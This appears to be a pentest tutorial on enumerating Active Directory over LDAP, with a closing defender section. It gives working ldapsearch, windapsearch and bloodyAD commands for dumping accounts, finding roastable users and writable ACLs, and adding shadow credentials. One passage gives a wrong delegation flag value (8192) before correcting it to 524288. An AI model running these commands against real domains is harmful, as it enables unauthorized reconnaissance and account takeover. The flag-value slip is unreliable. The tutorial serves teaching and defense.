Introduction
LDAP (Lightweight Directory Access Protocol) is the lingua franca of Active Directory. Almost every object an attacker cares about — users, groups, computers, GPOs, trusts, and the schema itself — is exposed over LDAP on TCP/389 (and LDAPS on 636). Because LDAP read access is granted to any authenticated domain principal by default, enumeration over LDAP is one of the highest-value, lowest-noise activities in an internal engagement.
In this article you will learn how to query naming contexts, read attributes like userAccountControl to find weak account configurations, and pivot from raw ldapsearch queries to purpose-built tooling (windapsearch, bloodyAD). We close with a Blue Team section so defenders can detect and constrain this activity.
Legal & ethical disclaimer. Everything below is for education and authorized testing only. Run these techniques exclusively against systems you own or have explicit, written permission to test. Unauthorized access to computer systems is a crime in virtually every jurisdiction.
How LDAP Enumeration Works
An Active Directory domain controller is an LDAP server. The directory is a tree of objects, and the top of each tree is a naming context (also called a directory partition). The three default naming contexts are:
- Default naming context (the domain), e.g.
DC=corp,DC=local— holds users, groups, computers, OUs. - Configuration naming context, e.g.
CN=Configuration,DC=corp,DC=local— sites, services, and forest-wide config. - Schema naming context, e.g.
CN=Schema,CN=Configuration,DC=corp,DC=local— object class and attribute definitions.
You don't even need credentials to discover these. A query against the RootDSE — an unnamed entry at the root of the LDAP server reachable with an anonymous bind — returns the naming contexts and DC capabilities. From there, an authenticated bind lets you read the bulk of the directory, because the default ACLs grant Authenticated Users broad read rights.
One attribute deserves special attention: userAccountControl (UAC). It is a bitmask describing account state. Useful flags include:
| Flag | Hex value | Meaning |
|---|---|---|
ACCOUNTDISABLE |
0x0002 |
Account disabled |
DONT_REQ_PREAUTH |
0x400000 |
Kerberos pre-auth not required (AS-REP roastable) |
DONT_EXPIRE_PASSWORD |
0x10000 |
Password never expires |
TRUSTED_FOR_DELEGATION |
0x80000 |
Unconstrained delegation |
PASSWD_NOTREQD |
0x0020 |
Password not required |
LDAP supports bitwise matching, so you can ask the DC to return only the accounts that match a flag using the matching rule OID 1.2.840.113556.1.4.803 (LDAP_MATCHING_RULE_BIT_AND).
Prerequisites / Lab Setup
You need:
- A reachable domain controller (TCP 389/636/3268 for the Global Catalog).
ldap-utilsforldapsearch:sudo apt install ldap-utils.windapsearch:git clone https://github.com/ropnop/go-windapsearch(Go rewrite) or the original Python version.bloodyAD:pipx install bloodyAD.- Optionally a low-privilege domain account. Many queries also work with an anonymous bind on misconfigured DCs.
For the walkthrough assume the domain corp.local, DC dc01.corp.local at 10.10.10.10, and credentials jdoe:Summer2026!.
Attack Walkthrough
1. Discover naming contexts anonymously (RootDSE)
ldapsearch -x -H ldap://10.10.10.10 -s base -b "" namingContexts defaultNamingContext
-x is simple (non-SASL) auth, -s base scopes the search to the base entry, and -b "" targets the RootDSE. This reveals defaultNamingContext so you know the domain DN for every subsequent query.
2. Authenticated bind and dump all users
ldapsearch -x -H ldap://10.10.10.10 \
-D "jdoe@corp.local" -w 'Summer2026!' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(objectCategory=person))" \
sAMAccountName description userAccountControl memberOf
The filter (&(objectClass=user)(objectCategory=person)) excludes computer accounts (which are also user objects). Always grep the description field — administrators still store passwords there.
3. Find AS-REP roastable accounts via userAccountControl
ldapsearch -x -H ldap://10.10.10.10 \
-D "jdoe@corp.local" -w 'Summer2026!' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
4194304 is 0x400000 (DONT_REQ_PREAUTH). Each result is an AS-REP roasting target. Swap the value for 8192 (TRUSTED_FOR_DELEGATION, decimal for 0x80000 is actually 524288) to hunt delegation, or 32 (PASSWD_NOTREQD) to find blank-password accounts.
Note on values:
TRUSTED_FOR_DELEGATION=0x80000=524288. Use the decimal form in the bitwise filter.
4. Find Kerberoastable accounts (SPN set)
ldapsearch -x -H ldap://10.10.10.10 \
-D "jdoe@corp.local" -w 'Summer2026!' \
-b "DC=corp,DC=local" \
"(&(objectClass=user)(servicePrincipalName=*))" \
sAMAccountName servicePrincipalName
These feed directly into Kerberoasting.
5. Speed it up with windapsearch
windapsearch wraps the common queries so you don't hand-write filters:
# Enumerate all domain users
windapsearch -d corp.local --dc 10.10.10.10 \
-u 'corp\jdoe' -p 'Summer2026!' --users
# Privileged users, computers, and unconstrained-delegation hosts
windapsearch -d corp.local --dc 10.10.10.10 \
-u 'corp\jdoe' -p 'Summer2026!' --privileged-users
windapsearch -d corp.local --dc 10.10.10.10 \
-u 'corp\jdoe' -p 'Summer2026!' --unconstrained
For the Go version (go-windapsearch) the equivalent module flags are --module users, --module privileged-users, --module computers, etc. Add --full to dump every attribute.
6. Read and write with bloodyAD
bloodyAD is excellent for both enumeration and exploiting write access (e.g. shadow credentials, RBCD, password resets):
# Read all writable attributes you control on objects
bloodyAD --host 10.10.10.10 -d corp.local \
-u jdoe -p 'Summer2026!' get writable
# Show object details for a target
bloodyAD --host 10.10.10.10 -d corp.local \
-u jdoe -p 'Summer2026!' get object 'CN=svc_sql,CN=Users,DC=corp,DC=local'
# If you have GenericWrite/GenericAll: add msDS-KeyCredentialLink (shadow creds)
bloodyAD --host 10.10.10.10 -d corp.local \
-u jdoe -p 'Summer2026!' add shadowCredentials svc_sql
The get writable module is the fast path to finding the privilege escalation primitive in your current context — it shows exactly which objects and attributes your principal can modify.
7. LDAPS and channel binding
If the DC enforces LDAP signing or you hit Strong authentication required, switch to LDAPS:
LDAPTLS_REQCERT=never ldapsearch -H ldaps://10.10.10.10:636 \
-D "jdoe@corp.local" -w 'Summer2026!' \
-b "DC=corp,DC=local" "(sAMAccountName=jdoe)"
Attack Flow Diagram

Text version: start with an anonymous RootDSE lookup to learn the naming contexts, bind with any domain account, enumerate objects, filter on userAccountControl to surface weak accounts, and in parallel use bloodyAD get writable to find ACL abuse paths that lead to privilege escalation.
Detection & Defense (Blue Team)
LDAP reconnaissance is intentionally quiet, but it is detectable and constrainable.
Detection
- Enable LDAP query logging. Set the registry value
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Diagnostics\15 Field Engineeringto5, then watch Directory Service event IDs 1644 (expensive/inefficient searches) for unusual base-DC=queries returning thousands of objects. Pair with the Expensive/Inefficient/Long-running search statistics thresholds. - Microsoft Defender for Identity raises dedicated alerts for reconnaissance using LDAP queries, AS-REP/Kerberoasting enumeration, and honeytoken access.
- Network detection. Bulk LDAP
searchRequestPDUs to a DC from a non-admin workstation, or anonymous binds, are anomalous. Map to MITRE ATT&CK T1087 (Account Discovery), T1018 (Remote System Discovery), and T1069 (Permission Groups Discovery). - Honeytokens. Plant a decoy account with an SPN and
DONT_REQ_PREAUTHset; any bind, AS-REQ, or read against it is high-fidelity malicious.
Hardening
- Disable anonymous binds. Ensure the
dsHeuristicsattribute does not enable anonymous operations (the 7th character should not be2), and that anonymous access to the directory is denied. - Enforce LDAP channel binding and signing. Configure the GPO setting Domain controller: LDAP server channel binding token requirements to Always and Domain controller: LDAP server signing requirements to Require signing. This mitigates LDAP relay (relevant to NTLM relay chains) and forces LDAPS.
- Fix weak
userAccountControlconfigurations. Audit for and removeDONT_REQ_PREAUTH,PASSWD_NOTREQD, and unconstrainedTRUSTED_FOR_DELEGATIONwherever they aren't strictly required. Move service accounts to gMSA so credentials aren't roastable. - Tighten ACLs. Run
bloodyAD get writableor BloodHound from a standard user perspective yourself, then remediate the dangerousGenericAll/GenericWrite/WriteDACLedges those tools surface. See BloodHound attack paths for how these edges chain. - Least privilege on descriptions. Scrub passwords and secrets from the
description,info, andcommentattributes.
Conclusion
LDAP enumeration is fundamental: from a single low-privilege account (sometimes from no account at all), an operator maps the entire directory, surfaces AS-REP-roastable and Kerberoastable users via userAccountControl bit filters, and identifies ACL-based escalation paths with bloodyAD. The same queries that empower attackers are available to defenders — run them first, log event 1644, enforce channel binding, and clean up the legacy UAC flags before someone else finds them.
References
- MITRE ATT&CK T1087 — Account Discovery: https://attack.mitre.org/techniques/T1087/
- MITRE ATT&CK T1069 — Permission Groups Discovery: https://attack.mitre.org/techniques/T1069/
- HackTricks — LDAP enumeration / Active Directory: https://book.hacktricks.xyz/
- ropnop/go-windapsearch: https://github.com/ropnop/go-windapsearch
- CravateRouge/bloodyAD: https://github.com/CravateRouge/bloodyAD
- Microsoft — userAccountControl flags (KB305144): https://learn.microsoft.com/en-us/troubleshoot/windows-server/active-directory/useraccountcontrol-manipulate-account-properties
- Microsoft — LDAP channel binding and signing requirements (ADV190023): https://support.microsoft.com/en-us/topic/2020-ldap-channel-binding-and-ldap-signing-requirements-ef185fb8-00f7-167d-744c-f299a66fc00a



Comments